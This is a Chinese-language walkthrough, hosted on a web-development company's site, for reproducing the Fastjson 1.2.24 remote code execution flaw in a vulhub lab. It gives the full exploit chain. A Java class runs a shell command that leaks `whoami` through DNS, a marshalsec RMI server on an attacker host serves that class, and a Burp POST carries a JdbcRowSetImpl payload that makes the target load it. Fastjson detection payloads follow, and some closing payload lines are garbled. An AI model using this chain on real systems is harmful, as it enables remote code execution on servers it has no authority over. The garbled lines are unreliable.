本篇文章為大家展示了如何解析Fastjson1.2.24漏洞復(fù)現(xiàn)的過(guò)程,內(nèi)容簡(jiǎn)明扼要并且容易理解,絕對(duì)能使你眼前一亮,通過(guò)這篇文章的詳細(xì)介紹希望你能有所收獲。
成都創(chuàng)新互聯(lián)公司-專業(yè)網(wǎng)站定制、快速模板網(wǎng)站建設(shè)、高性價(jià)比南康網(wǎng)站開(kāi)發(fā)、企業(yè)建站全套包干低至880元,成熟完善的模板庫(kù),直接使用。一站式南康網(wǎng)站制作公司更省心,省錢,快速模板網(wǎng)站建設(shè)找我們,業(yè)務(wù)覆蓋南康地區(qū)。費(fèi)用合理售后完善,十載實(shí)體公司更值得信賴。
docker-compose up -d先啟動(dòng)vulhub的fastjson環(huán)境
Docker開(kāi)啟的8090端口
假設(shè)我們目標(biāo)IP為1.1.1.1,此時(shí)我們?cè)L問(wèn)1.1.1.1:8090
安裝jdk環(huán)境
很多l(xiāng)inux自帶有jdk環(huán)境,但缺少很多組件,會(huì)報(bào)錯(cuò)實(shí)屬正常
https://www.oracle.com/java/technologies/javase/javase-jdk8-downloads.html根據(jù)自己系統(tǒng)選擇相應(yīng)jdk下載。
mkdir /opt/java
tar zxvf jdk-8u251-linux-x64.tar.gz -C /opt/java
vim /etc/profile
末尾增加
export JAVA_HOME=/opt/java/jdk1.8.0_251
export JRE_HOME=/opt/java/jdk1.8.0_251
export CLASSPATH=.:${JAVA_HOME}/lib:${JRE_HOME}/lib
export PATH=${PATH}:${JAVA_HOME}/bin:${JRE_HOME}/bin
source /etc/profile
java -version
安裝maven(linux為例)
wget https://mirrors.bfsu.edu.cn/apache/maven/maven-3/3.6.3/binaries/apache-maven-3.6.3-bin.tar.gz
mkdir /opt/maven
tar zxvf apache-maven-3.6.3-bin.tar.gz -C /opt/maven/
配置環(huán)境變量
vim /etc/profile
在最下面增加
export MAVEN_HOME=/opt/maven/apache-maven-3.6.3
export PATH=$MAVEN_HOME/bin:$PATH
驗(yàn)證maven是否安裝成功
mvn -version
報(bào)錯(cuò)解決:
你可能遇到這樣的報(bào)錯(cuò)
說(shuō)明你安裝的jdk有問(wèn)題,按上述方法不行就百度。
如果是這樣:
說(shuō)明你環(huán)境變量沒(méi)配置好,報(bào)這個(gè)錯(cuò)我才發(fā)現(xiàn)可以直接用apt安裝,可能是我換了個(gè)系統(tǒng)這個(gè)源里面有,之前實(shí)驗(yàn)的時(shí)候不是這個(gè)系統(tǒng),我這系統(tǒng)是ubantu,具體apt安裝出來(lái)的能不能用自己試。
保存以下代碼,命名為DNSlog.java
import java.lang.Runtime;
import java.lang.Process;
public class dnslog{
static {
try {
Runtime rt = Runtime.getRuntime();
String[] commands = { "/bin/sh", "-c", "ping user.`whoami`.dnslog"};
Process pc = rt.exec(commands);
pc.waitFor();
} catch (Exception e) {
// do nothing
}
}
}
執(zhí)行以下代碼會(huì)生成一個(gè)dnslog.class文件
javac dnslog.java
使用python在當(dāng)前目錄下起一個(gè)http服務(wù),如果端口占用換其他的
python -m SimpleHTTPServer 4567
使用marshalsec項(xiàng)目,啟動(dòng)RMI服務(wù),監(jiān)聽(tīng)9999端口并加載遠(yuǎn)程類dnslog.class
git clone https://github.com/mbechler/marshalsec.git
cd marshalsec/
編譯項(xiàng)目
mvn clean package -DskipTests
如果出現(xiàn)下圖情況,就是jdk環(huán)境問(wèn)題,自帶jdk環(huán)境不完整。按上面步驟安裝即可。
成功是這樣的,target目錄下會(huì)生成marshalsec-0.0.3-SNAPSHOT-all.jar文件。
當(dāng)前目錄下執(zhí)行命令開(kāi)啟RMI服務(wù):
以我搭建dnslog.class類http服務(wù)的服務(wù)器IP為2.2.2.2端口為4567
cd target/
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://2.2.2.2:4567/#TouchFile" 9999
RMI服務(wù)可以搭建在與dnslog.class類的http服務(wù)同一臺(tái)服務(wù)器,也可以搭建在其它服務(wù)器上。我們演示還是在同一臺(tái)。
既然環(huán)境準(zhǔn)備就緒就掏出burp開(kāi)搞吧:
構(gòu)造payload扔burp中發(fā)送
POST / HTTP/1.1
Host: 1.1.1.1:8090
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json
Content-Length: 160
{
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://2.2.2.2:9999/dnslog",
"autoCommit":true
}
}
成功后是這樣的
RMI:
Python起的http服務(wù):
Burp返回包:
Dnslog平臺(tái)能看到執(zhí)行結(jié)果:
為什么我要說(shuō)著三處執(zhí)行情況,大家肯定很好奇,直接說(shuō)結(jié)果不就好了嗎?
這里又是已給可能出錯(cuò)的地方,第一處檢查rmi運(yùn)行情況,第二處檢查http服務(wù)開(kāi)啟情況,第三處就是執(zhí)行結(jié)果。
如果最終結(jié)果有問(wèn)題,那處結(jié)果顯示不正常就去哪個(gè)地方找原因。第一、二處最有可能出現(xiàn)問(wèn)題的就是端口占用或者防火墻攔截。Dnslog平臺(tái)沒(méi)有顯示就說(shuō)明命令未執(zhí)行成功,也有可能是平臺(tái)問(wèn)題。具體自己檢查。
任意抓個(gè)包,提交方式改為POST,花括號(hào)不閉合。返回包在就會(huì)出現(xiàn)fastjson字樣。當(dāng)然這個(gè)可以屏蔽,如果屏蔽使用其它辦法,往后翻。
構(gòu)造以下payload,利用dnslog平臺(tái)接收。
{"zeo":{"@type":"java.net.Inet4Address","val":"dnslog"}}
1.2.67版本后payload
{"@type":"java.net.Inet4Address","val":"dnslog"}
{"@type":"java.net.Inet6Address","val":"dnslog"}
畸形:
{"@type":"java.net.InetSocketAddress"{"address":,"val":"這里是dnslog"}}
"@type":"java.net.InetSocketAddress"{"address":,"val":"這里是dnslog"}}
["@Type":"Java.Net.InetSocketAddress"{"address":,"Val":"Zhèlǐ shì dnslog"}}]"@Type":
"java.net.InetSocketAddress" { "address":, "val": "This is dnslog"}}
上述內(nèi)容就是如何解析Fastjson1.2.24漏洞復(fù)現(xiàn)的過(guò)程,你們學(xué)到知識(shí)或技能了嗎?如果還想學(xué)到更多技能或者豐富自己的知識(shí)儲(chǔ)備,歡迎關(guān)注創(chuàng)新互聯(lián)行業(yè)資訊頻道。